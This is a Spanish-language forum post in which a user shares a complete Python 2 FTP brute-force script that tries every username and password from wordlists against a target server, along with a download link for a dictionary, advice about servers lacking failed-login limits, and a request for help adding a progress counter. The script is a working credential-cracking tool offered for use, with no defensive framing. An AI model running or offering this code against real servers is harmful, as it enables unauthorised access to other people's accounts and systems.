EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente .
Resuelto el problema de los límites de fallos
Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes ), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt: https://rapidshare.com/files/4215115057/usuarios.txt
Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.
Si os interesa que le aplique interfaz gráfica decidmelo .
Este es el código:
Código
#!/usr/bin/env python # -*- coding: utf-8 -*- import ftplib class ftp_brute_force: def __init__(self,conectftp,target): self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0) print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]" try: self.users = open("usuarios.txt","r") self.passwords = open("passwords.txt","r") except: print "\n [-] No existen los diccionarios" exit() for self.user in self.users.readlines(): self.listausuarios.append(self.user) self.contadorus += 1 for self.password in self.passwords.readlines(): self.listapasswords.append(self.password) self.contadorpas += 1 self.users.close() self.passwords.close() print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]" print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]" print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n" self.bruteforce() def bruteforce(self): for self.user in self.listausuarios: for self.password in self.listapasswords: try: self.conectftp.login(self.user,self.password) print "Los datos son --> " + self.user + " y " + self.password self.conectftp.quit() self.conectftp.close() self.conectftp = ftplib.FTP(self.target) raw_input() except: print self.user + " y " + self.password + " no son correctos" self.conectftp.quit() self.conectftp.close() self.conectftp = ftplib.FTP(self.target) print " [-] No se han podido extraer datos." if __name__ == '__main__': print " [+] FTP CRACKER BY RUNE [+]\n\n\n" target = raw_input("\n\nIntroduce el target [+] > ") try: conectftp = ftplib.FTP(target) except: print " \n[-] No existe el target" exit() instancia = ftp_brute_force(conectftp,target)
Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:
0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.
¿ Se os ocurre algo ?
Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex